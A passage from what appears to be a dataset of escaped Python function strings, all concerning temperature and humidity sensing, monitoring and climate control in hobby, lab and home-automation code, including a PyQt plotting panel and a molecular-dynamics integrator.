#print \\\"Serial Number ID=0x%X\\\"% self.sensor.readSerialNumber() \\n \\n # change temperature resolution\\n self.sensor.setTemperatureResolution(temperature_resolution)\\n self.sensor.setHumidityResolution(humidity_resolution)\",\n \"def temperature_sensor():\\n\\n\\tsensor_name = \\\"humiture\\\"\\n\\treg_addr = 26\\n\\tdata_len = 4\\n\\tregist_sensor(sensor_name, reg_addr, data_len)\\n\\n\\t# get sensor data\\n\\tdata = rospy.wait_for_message('MediumSize/SensorHub/Temperature', Temperature, 2)\\n\\ttemperature = data.temperature\\n\\n\\tdelete_sensor(sensor_name)\\n\\treturn temperature\",\n \"def main():\\n push_bullet = Pushbullet()\\n monitor = SensorMonitor()\\n database = SqliteConnection()\\n\\n # Threshold to notify users once temperature has fallen bellow it\\n temp_threshold = 20\\n\\n hum = monitor.get_hum()\\n temp = monitor.get_temp()\\n time = datetime.now()\\n\\n monitor.write(\\\"SENSING TEMPERATURE\\\")\\n\\n database.save_data(time, temp, hum)\\n\\n # Get last temperature stored in database or set to threshold\\n data = database.get_last_entry()\\n try:\\n last_entry = 0\\n for row in data:\\n last_entry = row[1]\\n except TypeError:\\n last_entry = temp_threshold\\n\\n\\n # If temperature is bellow threshold and last temperature was\\n # above the threshold.\\n # This stops the user getting continuous notifications when the\\n # temperature stays bellow the threshold.\\n if temp < temp_threshold <= last_entry:\\n push_bullet.send_note(\\n \\\"Cold\\\",\\n \\\"The room is under 20 degrees you should bring a jacket\\\"\\n )\\n\\n database.close()\",\n \"def start_monitor():\\n monitor_enabled = config_json[env]['MONITOR_ENABLED']\\n monitor_trigger_interval_s = int( config_json[env]['MONITOR_TRIGGER_INTERVAL_S'] )\\n\\n # IF SCHEDULE IS ENABLED IN CONFIG:\\n if monitor_enabled == \\\"1\\\":\\n\\n print(\\\"\\\\nSpace Weather Service Monitor: ENABLED (running every %s seconds)\\\" % monitor_trigger_interval_s)\\n\\n # RUN INITIAL CHECK SPACE WEATHER\\n processes.process_check_space_weather()\\n\\n # CREATE SCHEDULER W/ INTERVAL TRIGGER AND START\\n scheduler = BackgroundScheduler()\\n scheduler.add_job(\\n func = processes.process_check_space_weather,\\n trigger = IntervalTrigger( seconds = monitor_trigger_interval_s ),\\n id = 'check_space_weather',\\n name = 'Checking Space Weather Every 30 Seconds')\\n scheduler.start()\\n atexit.register( lambda: scheduler.shutdown() )\\n else:\\n print(\\\"\\\\nSpace Weather Service Monitor: DISABLED\\\")\",\n \"def run(self):\\n\\t\\tt = threading.Thread(target=self.__temperature_thread)\\n\\t\\tt.daemon = True\\n\\t\\tt.start()\",\n \"def temperature(self):\\n self.convert_window(\\\"Temperature\\\", \\\"Celsius\\\", [\\\"Celsius\\\", \\\"Fahrenheit\\\", \\\"Kelvin\\\", \\\"Rankine\\\", \\\"Reaumur\\\", \\\"Newton\\\", \\\"Romer\\\", \\\"Delisle\\\"])\",\n \"def __init__(self, sensor):\\n self.sensor = sensor\\n self.temperature = None\\n self.humitidy = None\\n self.update()\",\n \"def writetemperature(self):\\r\\n\\t\\tTEMP_CONFIG = (SI7015_REG_CONFIG_CNVRSN_ON | SI7015_REG_CONFIG_TEMP)\\r\\n\\t\\tbus.write_byte_data(SI7015_DEFAULT_ADDRESS, SI7015_REG_CONFIG, TEMP_CONFIG)\",\n \"def temperature_and_fan_control():\\n temp_room_1 = room1_temp()\\n temp_room_2 = room2_temp()\\n outside_temp = intake_temp()\\n if temp_room_1 < 26 or temp_room_2 < 26:\\n fan_1(False) # Temp under 26 in either room turn fan OFF\\n aux_fan(False)\\n fan_speed_toogle(False)\\n remove_timestamp('emergency_temp_timestamp.txt')\\n elif temp_room_1 >= 26 and temp_room_1 < 28 or temp_room_2 >= 26 and \\\\\\n temp_room_2 < 28:\\n fan_1(True) # Temp between 26 and 28 turn fan on speed 1\\n aux_fan(False)\\n fan_speed_toogle(False)\\n remove_timestamp('emergency_temp_timestamp.txt')\\n elif temp_room_1 >= 28 and temp_room_1 < 30 or temp_room_2 >= 28 and\\\\\\n temp_room_2 < 30:\\n fan_speed_toogle(True) # Temp over 28 increase fan speed\\n remove_timestamp('emergency_temp_timestamp.txt')\\n elif temp_room_1 >= 30 or temp_room_2 >= 30:\\n if len(initial_time('emergency_temp_timestamp.txt')) == 0:\\n time_write_to_file('emergency_temp_timestamp.txt', 'w')\\n else:\\n if mins_since_event('emergency_temp_timestamp.txt') > 5:\\n aux_fan(True) # Temp been over 30 for 5mins aux_fan ON\\n fan_speed_toogle(True)\",\n \"def check_temperature(self):\\n if self.type == 'DS18B20':\\n if self.unit == 'C':\\n temperature = int(self.temp_sensor.get_temperature(W1ThermSensor.DEGREES_C))\\n else:\\n temperature = int(self.temp_sensor.get_temperature(W1ThermSensor.DEGREES_F))\\n humidity = -999\\n if (self.type == 'DHT11') or (self.type == 'DHT22'):\\n for i in range(5): # try for valid readings 5 times; break if valid\\n try:\\n if self.unit == 'C':\\n temperature = self.temp_sensor.temperature\\n else:\\n temperature = self.temp_sensor.temperature * (9 / 5) + 32\\n temperature = float(format(temperature, '.1f'))\\n humidity = self.temp_sensor.humidity\\n humidity = float(format(humidity, '.1f'))\\n break # break out of for loop if got valid readings\\n except RuntimeError:\\n sleep(3) # wait 3 seconds and try again\\n pass # this will retry up to 5 times before exiting the for loop\\n\\n if abs(temperature - self.last_reading_temp) >= self.min_difference:\\n # temperature has changed from last reported temperature, therefore\\n # send an event message reporting temperature by appending to send_q\\n temp_text = str(temperature) + \\\" \\\" + self.unit\\n text = '|'.join([self.event_text, 'Temp', temp_text])\\n text_and_image = (text, self.tiny_image)\\n self.send_q.append(text_and_image)\\n self.last_reading_temp = temperature\\n if abs(humidity - self.last_reading_humidity) >= self.min_difference:\\n # humidity has changed from last reported humidity, therefore\\n # send an event message reporting humidity by appending to send_q\\n humidity_text = str(humidity) + \\\" %\\\"\\n # Spelling of humidity all lower case is intentional to avoid\\n # first letter test of \\\"Heartbeat\\\" in imagehub\\n text = '|'.join([self.event_text, 'humidity', humidity_text])\\n text_and_image = (text, self.tiny_image)\\n self.send_q.append(text_and_image)\\n self.last_reading_humidity = humidity\",\n \"def __init__(self, task=\\\"example\\\", test=False):\\n # Set up the calling task that set up the monitor and if this is a test instance\\n self.test = test\\n self.task = task\\n \\n # Set the callbacks and monitors\\n self.wx.callback(windmon)\\n self.wx.monitor()\\n\\n self.ok2open.callback(okmon)\\n self.ok2open.monitor()\\n\\n self.dmtimer.callback(dmtimemon)\\n self.dmtimer.monitor()\\n\\n self.countrate.callback(countmon)\\n self.countrate.monitor()\\n \\n self.fwhm.callback(fwhmmon)\\n self.fwhm.monitor()\\n \\n self.teqmode.monitor()\\n self.vmag.monitor()\\n self.ldone.monitor()\\n self.counts.monitor()\\n self.decker.monitor()\\n self.mv_perm.monitor()\\n self.chk_close.monitor()\\n\\n self.sunel.monitor()\\n self.aaz.monitor()\\n self.ael.monitor()\\n self.fspos.monitor()\\n self.rspos.monitor()\\n self.aafocus.monitor()\\n\\n # Grab some initial values for the state of the telescope\\n \\n self.wx.poll()\\n self.fwhm.poll()\\n self.countrate.poll()\\n self.ok2open.poll()\",\n \"def test_temperatures(get_touchmat):\\n touchmat = get_touchmat\\n\\n temperatures = touchmat.temperatures()\\n info = touchmat.info()\\n check_system_types.check_TemperatureInfoList(temperatures, [info])\",\n \"def __init__(self, temp=21, timer_mode='Off', fan_mode='Auto', fan_swing_mode='Off', master_mode='Heat', sensor=False):\\n\\t\\t#self.name = name\\n\\t\\tself.temp = temp\\n\\t\\tself.timer_mode = timer_mode\\n\\t\\tself.fan_mode = fan_mode\\n\\t\\tself.fan_swing_mode = fan_swing_mode\\n\\t\\tself.master_mode = master_mode\\n\\t\\tself.sensor = sensor\",\n \"def test_monitor_creation(processor, measure, dialog_sleep):\\n def run(measure):\\n t = Thread(target=processor._start_monitors, args=(measure,))\\n t.start()\\n while t.is_alive():\\n process_app_events()\\n sleep(0.001)\\n process_app_events()\\n sleep(dialog_sleep)\\n\\n processor.engine = processor.plugin.create('engine', 'dummy')\\n\\n measure.add_tool('monitor', 'dummy')\\n run(measure)\\n assert len(processor.monitors_window.dock_area.dock_items()) == 1\\n\\n measure.add_tool('monitor', 'dummy2')\\n run(measure)\\n assert len(processor.monitors_window.dock_area.dock_items()) == 2\\n\\n measure.remove_tool('monitor', 'dummy2')\\n run(measure)\\n assert len(processor.monitors_window.dock_area.dock_items()) == 1\\n\\n measure.add_tool('monitor', 'dummy3')\\n run(measure)\\n assert len(processor.monitors_window.dock_area.dock_items()) == 2\\n\\n measure.add_tool('monitor', 'dummy4')\\n run(measure)\\n assert len(processor.monitors_window.dock_area.dock_items()) == 2\\n\\n processor.plugin.stop()\\n assert not processor.monitors_window\",\n \"def temphum_plot(self, kwargs=None):\\n\\n def valuechange():\\n \\\"\\\"\\\"This is the function which is called, when a value is changed in the spin boxes\\\"\\\"\\\"\\n\\n tempmin.setMaximum(tempmax.value())\\n tempmax.setMinimum(tempmin.value())\\n hummin.setMaximum(hummax.value())\\n hummax.setMinimum(hummin.value())\\n\\n self.variables.default_values_dict[\\\"settings\\\"][\\n \\\"current_tempmin\\\"\\n ] = tempmin.value()\\n self.variables.default_values_dict[\\\"settings\\\"][\\n \\\"current_tempmax\\\"\\n ] = tempmax.value()\\n self.variables.default_values_dict[\\\"settings\\\"][\\n \\\"current_hummin\\\"\\n ] = hummin.value()\\n self.variables.default_values_dict[\\\"settings\\\"][\\n \\\"current_hummax\\\"\\n ] = hummax.value()\\n\\n max = build_command(\\n self.variables.devices_dict[\\\"temphum_controller\\\"],\\n (\\\"set_hummax\\\", hummax.value()),\\n )\\n min = build_command(\\n self.variables.devices_dict[\\\"temphum_controller\\\"],\\n (\\\"set_hummin\\\", hummin.value()),\\n )\\n\\n self.variables.vcw.write(\\n self.variables.devices_dict[\\\"temphum_controller\\\"], max\\n )\\n self.variables.vcw.write(\\n self.variables.devices_dict[\\\"temphum_controller\\\"], min\\n )\\n\\n def dry_air_action():\\n if dry_air_btn.isChecked():\\n device_dict = self.variables.devices_dict[\\\"temphum_controller\\\"]\\n try:\\n command = build_command(\\n device_dict, (\\\"set_environement_control\\\", \\\"ON\\\")\\n )\\n answer = self.variables.vcw.write(device_dict, command)\\n if not answer:\\n self.log.error(\\n \\\"The environement controller did not responsed accordingly. Answer: \\\"\\n + str(answer).strip()\\n )\\n return 0\\n except:\\n self.log.error(\\n \\\"An error occured while changing the environement control\\\"\\n )\\n return 0\\n dry_air_btn.setText(\\\"Humidity ctl. on\\\")\\n self.variables.default_values_dict[\\\"settings\\\"][\\n \\\"humidity_control\\\"\\n ] = True\\n\\n else:\\n device_dict = self.variables.devices_dict[\\\"temphum_controller\\\"]\\n try:\\n command = build_command(\\n device_dict, (\\\"set_environement_control\\\", \\\"OFF\\\")\\n )\\n answer = self.variables.vcw.write(device_dict, command)\\n if not answer:\\n self.log.error(\\n \\\"The environement controller did not responsed accordingly. Answer: \\\"\\n + str(answer).strip()\\n )\\n\\n return 0\\n except:\\n self.log.error(\\n \\\"An error occured while changing the environement control\\\"\\n )\\n return 0\\n dry_air_btn.setText(\\\"Humidity ctl. off\\\")\\n self.variables.default_values_dict[\\\"settings\\\"][\\n \\\"humidity_control\\\"\\n ] = False\\n\\n def light_action():\\n \\\"\\\"\\\"This function is debricated\\\"\\\"\\\"\\n if light_btn.isChecked():\\n self.variables.default_values_dict[\\\"settings\\\"][\\\"external_lights\\\"] = True\\n else:\\n self.variables.default_values_dict[\\\"settings\\\"][\\n \\\"external_lights\\\"\\n ] = False\\n\\n def check_light_state():\\n if (\\n self.variables.default_values_dict[\\\"settings\\\"][\\\"lights\\\"]\\n and not light_btn.text() == \\\"Lights on\\\"\\n ): # Checks if the lights are on and the button is off\\n light_btn.setText(\\\"Lights on\\\")\\n light_btn.setStyleSheet(\\\"background : rgb(0,255,0); border-radius: 5px\\\")\\n elif (\\n not self.variables.default_values_dict[\\\"settings\\\"][\\\"lights\\\"]\\n and not light_btn.text() == \\\"Lights off\\\"\\n ):\\n light_btn.setText(\\\"Lights off\\\")\\n light_btn.setStyleSheet(\\\"background : rgb(255,0,0); border-radius: 5px\\\")\\n\\n def config_plot(plot, plot2, pg):\\n plot = plot.plotItem\\n plot.setLabel(\\\"right\\\", \\\"humidity\\\", units=\\\"%\\\")\\n plot.setLabel(\\\"bottom\\\", \\\"time\\\")\\n plot.setLabel(\\\"left\\\", \\\"temperature\\\", units=\\\"Celsius\\\")\\n plot.getAxis(\\\"left\\\").setPen(pg.mkPen(color=\\\"#c4380d\\\", width=3))\\n plot.getAxis(\\\"right\\\").setPen(pg.mkPen(color=\\\"#025b94\\\", width=3))\\n plot.showAxis(\\\"top\\\", show=True)\\n plot.getAxis(\\\"top\\\").setTicks([])\\n plot.getAxis(\\\"bottom\\\").setScale(1e-9)\\n # plot.setRange(yRange=[15, 35])\\n\\n # For second plot\\n plot.scene().addItem(\\n plot2\\n ) # inserts the second plot into the scene of the first\\n plot2.setGeometry(plot.vb.sceneBoundingRect())\\n plot.getAxis(\\\"right\\\").linkToView(\\n plot2\\n ) # links the second y axis to the second plot\\n plot2.setXLink(plot) # sync the x axis of both plots\\n # plot2.setRange(yRange=[0, 50])\\n\\n def __cut_arrays(data_array, maximum_time, arrays_to_cut):\\n \\\"\\\"\\\"This function cuts an array to a maximum time difference\\n This function is supposed to be used only for temp and humidity shaped arrays\\n \\\"\\\"\\\"\\n\\n try:\\n begin_time = data_array[arrays_to_cut[0]][0][0]\\n end_time = data_array[arrays_to_cut[0]][0][-1]\\n delta_time = (\\n data_array[arrays_to_cut[0]][0][1]\\n - data_array[arrays_to_cut[0]][0][0]\\n )\\n total_time = end_time - begin_time\\n if total_time > maximum_time:\\n over_time = total_time - maximum_time\\n array_elm_to_drop = int(over_time / delta_time)\\n for arrays in arrays_to_cut:\\n data_array[arrays][0] = data_array[arrays][0][\\n array_elm_to_drop:\\n ]\\n data_array[arrays][1] = data_array[arrays][1][\\n array_elm_to_drop:\\n ]\\n except:\\n pass\\n\\n def update_temphum_plots(kwargs=None):\\n # for rooms in self.rooms:\\n if self.variables.default_values_dict[\\\"settings\\\"][\\\"new_data\\\"]:\\n temphum_plot.clear() # clears the plot and prevents a memory leak\\n hum_plot_obj.clear()\\n p1 = temphum_plot.plotItem\\n\\n ax = p1.getAxis(\\\"bottom\\\") # This is the trick\\n __cut_arrays(\\n self.variables.meas_data,\\n float(\\n self.variables.default_values_dict[\\\"settings\\\"].get(\\n \\\"temp_history\\\", 3600\\n )\\n ),\\n [\\\"temperature\\\", \\\"humidity\\\"],\\n )\\n ax.setTicks(\\n [\\n get_thicks_for_timestamp_plot(\\n self.variables.meas_data[\\\"temperature\\\"][0],\\n 5,\\n self.variables.default_values_dict[\\\"settings\\\"][\\n \\\"time_format\\\"\\n ],\\n )\\n ]\\n )\\n\\n try:\\n if len(self.variables.meas_data[\\\"temperature\\\"][0]) == len(\\n self.variables.meas_data[\\\"humidity\\\"][1]\\n ): # sometimes it happens that the values are not yet ready\\n p1.plot(\\n self.variables.meas_data[\\\"temperature\\\"][0],\\n self.variables.meas_data[\\\"temperature\\\"][1],\\n pen={\\\"color\\\": \\\"r\\\", \\\"width\\\": 2},\\n clear=True,\\n )\\n plot_item = setpg.PlotCurveItem(\\n self.variables.meas_data[\\\"humidity\\\"][0],\\n self.variables.meas_data[\\\"humidity\\\"][1],\\n pen={\\\"color\\\": \\\"b\\\", \\\"width\\\": 2},\\n clear=True,\\n )\\n hum_plot_obj.addItem(plot_item)\\n del plot_item # the plot class needs a plot item which can be rendered, to avoid a mem leak delete the created plot item or 20k ram will be used\\n # hum_plot_obj.addItem(setpg.plot(self.variables.meas_data[\\\"humidity\\\"][0],self.variables.meas_data[\\\"humidity\\\"][1],pen={'color': \\\"b\\\", 'width': 2}, clear=True))\\n hum_plot_obj.setGeometry(\\n p1.vb.sceneBoundingRect()\\n ) # resize the second plot!\\n except:\\n pass\\n\\n # Create sublayout\\n temphum_layout = QGridLayout()\\n\\n # Frame over the objects\\n frame = QLabel()\\n frame.setFrameStyle(QFrame.Box | QFrame.Raised)\\n frame.setLineWidth(0)\\n frame.setMidLineWidth(2)\\n\\n self.layout.addWidget(\\n frame, self.temp_ypos, self.temp_xpos, self.temp_ysize, self.temp_xsize\\n )\\n\\n x = np.zeros(1)\\n y = np.zeros(1)\\n\\n setpg = pq\\n # date_axis = CAxisTime(orientation='bottom') # Correctly generates the time axis\\n hum_plot_obj = setpg.ViewBox() # generate new plot item\\n temphum_plot = pq.PlotWidget()\\n config_plot(temphum_plot, hum_plot_obj, setpg) # config the plot items\\n\\n self.variables.add_update_function(update_temphum_plots)\\n\\n # Additional Variables will be generated for temp and hum\\n # self.variables.default_values_dict[\\\"settings\\\"].update({\\\"lights\\\": False, \\\"humidity_control\\\": True, \\\"current_tempmin\\\": 20, \\\"current_tempmax\\\": 25, \\\"current_hummin\\\": 20,\\\"current_hummax\\\": 25})\\n\\n # Spin Boxes for temp and humidity\\n\\n tempmin = QSpinBox()\\n tempmax = QSpinBox()\\n hummin = QSpinBox()\\n hummax = QSpinBox()\\n\\n # Spinbox label\\n textbox_temp = QLabel()\\n textbox_temp.setText(\\\"Min temp. Max temp.\\\")\\n textbox_temp.setFont(self.font)\\n textbox_hum = QLabel()\\n textbox_hum.setText(\\\"Min hum. Max hum.\\\")\\n textbox_hum.setFont(self.font)\\n\\n # Config\\n\\n tempmin.setRange(15, 35)\\n tempmin.setValue(\\n float(\\n self.variables.default_values_dict[\\\"settings\\\"].get(\\\"current_tempmin\\\", 0)\\n )\\n )\\n tempmax.setRange(15, 35)\\n tempmax.setValue(\\n float(\\n self.variables.default_values_dict[\\\"settings\\\"].get(\\\"current_tempmax\\\", 0)\\n )\\n )\\n tempmin.valueChanged.connect(valuechange)\\n tempmax.valueChanged.connect(valuechange)\\n\\n hummin.setRange(0, 70)\\n hummin.setValue(\\n float(\\n self.variables.default_values_dict[\\\"settings\\\"].get(\\\"current_hummin\\\", 0)\\n )\\n )\\n hummax.setRange(0, 70)\\n hummax.setValue(\\n float(\\n self.variables.default_values_dict[\\\"settings\\\"].get(\\\"current_hummax\\\", 0)\\n )\\n )\\n hummin.valueChanged.connect(valuechange)\\n hummax.valueChanged.connect(valuechange)\\n\\n # Push buttons on the right for humidity control and light control\\n\\n dry_air_btn = QPushButton(\\\"Humidity ctl. off\\\")\\n self.variables.default_values_dict[\\\"settings\\\"][\\\"humidity_control\\\"] = False\\n dry_air_btn.setCheckable(True)\\n dry_air_btn.toggle()\\n dry_air_btn.clicked.connect(dry_air_action)\\n dry_air_btn.setChecked(False)\\n\\n light_btn = QLabel()\\n light_btn.setText(\\\"State not defined\\\")\\n light_btn.setAlignment(QtCore.Qt.AlignVCenter | QtCore.Qt.AlignHCenter)\\n light_btn.setStyleSheet(\\\"background : rgb(255,0,0); border-radius: 5px\\\")\\n\\n # light_btn.setCheckable(True)\\n # light_btn.clicked.connect(light_action)\\n\\n # Humidity\\n # temphum_plot.plot(x,y, pen=\\\"b\\\")\\n\\n # Widgets add\\n temphum_layout.addWidget(textbox_temp, 0, 0, 1, 2)\\n temphum_layout.addWidget(tempmin, 1, 0)\\n temphum_layout.addWidget(tempmax, 1, 1)\\n\\n temphum_layout.addWidget(textbox_hum, 2, 0, 1, 2)\\n temphum_layout.addWidget(hummin, 3, 0)\\n temphum_layout.addWidget(hummax, 3, 1)\\n\\n temphum_layout.addWidget(dry_air_btn, 4, 0, 1, 2)\\n temphum_layout.addWidget(light_btn, 5, 0, 3, 2)\\n\\n temphum_layout.addWidget(temphum_plot, 0, 3, 10, 2)\\n\\n temphum_layout.setContentsMargins(8, 8, 0, 8) # Makes a margin to the layout\\n\\n # Add the layout to the main layout\\n self.layout.addLayout(\\n temphum_layout,\\n self.temp_ypos,\\n self.temp_xpos,\\n self.temp_ysize,\\n self.temp_xsize,\\n )\\n\\n def update():\\n pass\\n\\n self.variables.add_update_function(update)\\n self.variables.add_update_function(check_light_state)\",\n \"def set_config_temperature(service):\\n from maxcul.messages import ConfigTemperaturesMessage\\n\\n entity_id = service.data.get(ATTR_ENTITY_ID)\\n comfort_temperature = service.data.get(ATTR_COMFORT_TEMPERATURE)\\n eco_temperature = service.data.get(ATTR_ECO_TEMPERATURE)\\n max_temperature = service.data.get(ATTR_MAX_TEMPERATURE)\\n min_temperature = service.data.get(ATTR_MIN_TEMPERATURE)\\n measurement_offset = service.data.get(ATTR_MEASUREMENT_OFFSET)\\n window_open_temperature = service.data.get(ATTR_WINDOW_OPEN_TEMPERATURE)\\n window_open_duration = service.data.get(ATTR_WINDOW_OPEN_DURATION)\\n\\n entity = None\\n for dev in MAX.devices:\\n if dev.entity_id == entity_id:\\n entity = dev\\n\\n if entity is None or entity.type in [\\\"Cube\\\", \\\"ShutterContact\\\", \\\"PushButton\\\"]:\\n return\\n\\n msg = ConfigTemperaturesMessage(0xB9, 0, CUBE_ID, entity.id, 0)\\n payload = {\\n 'comfort_Temperature': comfort_temperature,\\n 'eco_Temperature': eco_temperature,\\n 'max_Temperature': max_temperature,\\n 'min_Temperature': min_temperature,\\n 'measurement_Offset': measurement_offset,\\n 'window_Open_Temperatur': window_open_temperature,\\n 'window_Open_Duration': window_open_duration\\n }\\n MAX.thread.command_queue.put((msg, payload))\\n entity.set_max_temp(max_temperature)\\n entity.set_min_temp(min_temperature)\",\n \"def __init__(self):\\n self.temperature = 70.0\\n self.status = \\\"sunny\\\"\",\n \"def __init__(self):\\n self.temperature = 70.0\\n self.status = \\\"sunny\\\"\",\n \"def __init__(self):\\n self.temperature = 70.0\\n self.status = \\\"sunny\\\"\",\n \"def temperature():\\n snmp.temperature()\\n return 0\",\n \"def __init__(self, alt=0, temp_offset=0):\\n\\t\\tWorkingAtmosphere.__init__(self, alt)\\n\\t\\t#self.temperature_offset = tOffset\\n\\t\\tself.Temperature_offset = temp_offset\\n\\t\\tself.make_environment()\",\n \"def __init__(self, temperature=298.0 * simtk.unit.kelvin, nsteps=10, timestep=1 * simtk.unit.femtoseconds):\\n\\n super(HMCIntegrator, self).__init__(timestep)\\n\\n # Compute the thermal energy.\\n kT = kB * temperature\\n\\n #\\n # Integrator initialization.\\n #\\n self.addGlobalVariable(\\\"naccept\\\", 0) # number accepted\\n self.addGlobalVariable(\\\"ntrials\\\", 0) # number of Metropolization trials\\n\\n self.addGlobalVariable(\\\"kT\\\", kT) # thermal energy\\n self.addPerDofVariable(\\\"sigma\\\", 0)\\n self.addGlobalVariable(\\\"ke\\\", 0) # kinetic energy\\n self.addPerDofVariable(\\\"xold\\\", 0) # old positions\\n self.addGlobalVariable(\\\"Eold\\\", 0) # old energy\\n self.addGlobalVariable(\\\"Enew\\\", 0) # new energy\\n self.addGlobalVariable(\\\"accept\\\", 0) # accept or reject\\n self.addPerDofVariable(\\\"x1\\\", 0) # for constraints\\n\\n #\\n # Pre-computation.\\n # This only needs to be done once, but it needs to be done for each degree of freedom.\\n # Could move this to initialization?\\n #\\n self.addComputePerDof(\\\"sigma\\\", \\\"sqrt(kT/m)\\\")\\n\\n #\\n # Allow Context updating here, outside of inner loop only.\\n #\\n self.addUpdateContextState()\\n\\n #\\n # Draw new velocity.\\n #\\n self.addComputePerDof(\\\"v\\\", \\\"sigma*gaussian\\\")\\n self.addConstrainVelocities()\\n\\n #\\n # Store old position and energy.\\n #\\n self.addComputeSum(\\\"ke\\\", \\\"0.5*m*v*v\\\")\\n self.addComputeGlobal(\\\"Eold\\\", \\\"ke + energy\\\")\\n self.addComputePerDof(\\\"xold\\\", \\\"x\\\")\\n\\n #\\n # Inner symplectic steps using velocity Verlet.\\n #\\n for step in range(nsteps):\\n self.addComputePerDof(\\\"v\\\", \\\"v+0.5*dt*f/m\\\")\\n self.addComputePerDof(\\\"x\\\", \\\"x+dt*v\\\")\\n self.addComputePerDof(\\\"x1\\\", \\\"x\\\")\\n self.addConstrainPositions()\\n self.addComputePerDof(\\\"v\\\", \\\"v+0.5*dt*f/m+(x-x1)/dt\\\")\\n self.addConstrainVelocities()\\n\\n #\\n # Accept/reject step.\\n #\\n self.addComputeSum(\\\"ke\\\", \\\"0.5*m*v*v\\\")\\n self.addComputeGlobal(\\\"Enew\\\", \\\"ke + energy\\\")\\n self.addComputeGlobal(\\\"accept\\\", \\\"step(exp(-(Enew-Eold)/kT) - uniform)\\\")\\n self.addComputePerDof(\\\"x\\\", \\\"x*accept + xold*(1-accept)\\\")\\n\\n #\\n # Accumulate statistics.\\n #\\n self.addComputeGlobal(\\\"naccept\\\", \\\"naccept + accept\\\")\\n self.addComputeGlobal(\\\"ntrials\\\", \\\"ntrials + 1\\\")\",\n \"def run(self):\\n\\n if self.success and not self.running:\\n self.log.info(\\\"Humidity and temp control started...\\\")\\n self.running = True\\n elif self.testmode and not self.running:\\n self.log.critical(\\\"Humidity and temp TEST MODE started!!!\\\")\\n self.running = True\\n elif not self.running:\\n self.log.info(\\\"Humidity and temp control NOT started...\\\")\\n return\\n\\n if not self.stop_measurement_loop and self.success:\\n try:\\n # Query the environemnt etc from Brandbox\\n envvalues = self.vcw.query(\\n self.resource, self.resource[\\\"get_environment\\\"]\\n )\\n envvalues = envvalues.split(\\\",\\\")\\n\\n # Get dewpoint\\n boxvalues = self.vcw.query(\\n self.resource, self.resource[\\\"get_box_environment\\\"]\\n )\\n boxvalues = boxvalues.split(\\\",\\\")\\n\\n vacuumvalues = self.vcw.query(\\n self.resource, self.resource[\\\"get_vacuum\\\"]\\n )\\n\\n # get light\\n luxvalues = self.vcw.query(self.resource, self.resource[\\\"get_lux\\\"])\\n luxvalues = luxvalues.split(\\\",\\\")[0]\\n\\n # if an error happen, as so often with the brandbox read the queue\\n if self.readqueue:\\n try:\\n ans = self.vcw.read(self.resource)\\n if ans:\\n self.log.critical(\\\"Brandbox had an non empty queue: {}\\\".format(ans))\\n except:\\n self.log.info(\\\"Brandbox indicated an non empty queue, reading queue yielded no queue...\\\", exc_info=True)\\n\\n\\n try:\\n if float(luxvalues) >= 0.5:\\n self.framework[\\\"Configs\\\"][\\\"config\\\"][\\\"settings\\\"][\\\"lights\\\"] = True\\n else:\\n self.framework[\\\"Configs\\\"][\\\"config\\\"][\\\"settings\\\"][\\\"lights\\\"] = False\\n\\n # get door\\n # doorvalues = self.vcw.query(self.resource, self.resource[\\\"get_door\\\"])\\n # doorvalues = doorvalues.split(\\\",\\\")[0]\\n # if doorvalues == \\\"1\\\":\\n # self.framework[\\\"Configs\\\"][\\\"config\\\"][\\\"settings\\\"][\\\"door\\\"] = False\\n # else:\\n # self.framework[\\\"Configs\\\"][\\\"config\\\"][\\\"settings\\\"][\\\"door\\\"] = True\\n\\n # get light\\n vacuumvalues = vacuumvalues.split(\\\",\\\")[0]\\n if vacuumvalues == \\\"1\\\":\\n self.framework[\\\"Configs\\\"][\\\"config\\\"][\\\"settings\\\"][\\\"vacuum\\\"] = True\\n else:\\n self.framework[\\\"Configs\\\"][\\\"config\\\"][\\\"settings\\\"][\\\"vacuum\\\"] = False\\n\\n # Here a list\\n self.main.humidity_history = np.append(\\n self.main.humidity_history, float(envvalues[1])\\n ) # todo: memory leak since no values will be deleted\\n self.main.temperatur_history = np.append(\\n self.main.humidity_history, float(envvalues[3])\\n )\\n\\n # Write the pt100 and light status and environement in the box to the global variables\\n self.framework[\\\"Configs\\\"][\\\"config\\\"][\\\"settings\\\"][\\n \\\"chuck_temperature\\\"\\n ] = float(envvalues[3])\\n self.framework[\\\"Configs\\\"][\\\"config\\\"][\\\"settings\\\"][\\n \\\"air_temperature\\\"\\n ] = float(envvalues[0])\\n self.framework[\\\"Configs\\\"][\\\"config\\\"][\\\"settings\\\"][\\\"dew_point\\\"] = float(\\n boxvalues[3]\\n )\\n\\n # Send data to main\\n self.queue_to_main.put(\\n {\\n \\\"temperature_air\\\": [float(time()), float(envvalues[0])],\\n \\\"temperature_chuck\\\": [float(time()), float(envvalues[3])],\\n \\\"dew_point\\\": [float(time()), float(boxvalues[3])],\\n \\\"humidity\\\": [float(time()), float(envvalues[1])],\\n }\\n )\\n except:\\n self.readqueue = True\\n\\n except Exception as err:\\n self.log.error(\\n \\\"The temperature and humidity controller seems not to be responding. Error: {!s}\\\".format(\\n err\\n ),\\n exc_info=True,\\n )\\n\\n elif self.testmode:\\n self.log.critical(\\\"Testmode sends message to main!\\\")\\n self.queue_to_main.put(\\n {\\n \\\"temperature\\\": [float(time()), float(random.randint(1, 10))],\\n \\\"humidity\\\": [float(time()), float(random.randint(1, 10))],\\n }\\n )\\n\\n if not self.main.stop_measurement_loop:\\n self.start_timer(self.run)\\n else:\\n self.log.info(\\n \\\"Shutting down environment control due to stop of measurement loop\\\"\\n )\",\n \"async def set_temperature(self, **kwargs):\\n if await self.atag.dhw_set_temp(kwargs.get(ATTR_TEMPERATURE)):\\n self.async_schedule_update_ha_state(True)\",\n \"def assign_surface_monitor(self, face_name, monitor_type=\\\"Temperature\\\", monitor_name=None):\\n if not monitor_name:\\n monitor_name = generate_unique_name(\\\"Monitor\\\")\\n oModule = self.odesign.GetModule(\\\"Monitor\\\")\\n oModule.AssignFaceMonitor([\\\"NAME:\\\" + monitor_name, \\\"Quantities:=\\\", [monitor_type], \\\"Objects:=\\\", [face_name]])\\n return True\",\n \"def test_temperature_sensor():\\n channel = 0x77\\n sensor = BMP085(channel)\\n\\n logger.info(\\\"...testing temperature sensor\\\")\\n\\n try: \\n #WAIT!!! your hPaC initialization need to be put here :)\\n temperature = sensor.readTemperature()\\n logger.debug(\\\"**Temperature sensor activated.\\\")\\n return sensor\\n\\n except:\\n logger.error(\\\"Pressure sensor failed to initialize.\\\")\\n logger.error(\\\"Please check your connection and try again.\\\")\\n return False\",\n \"def 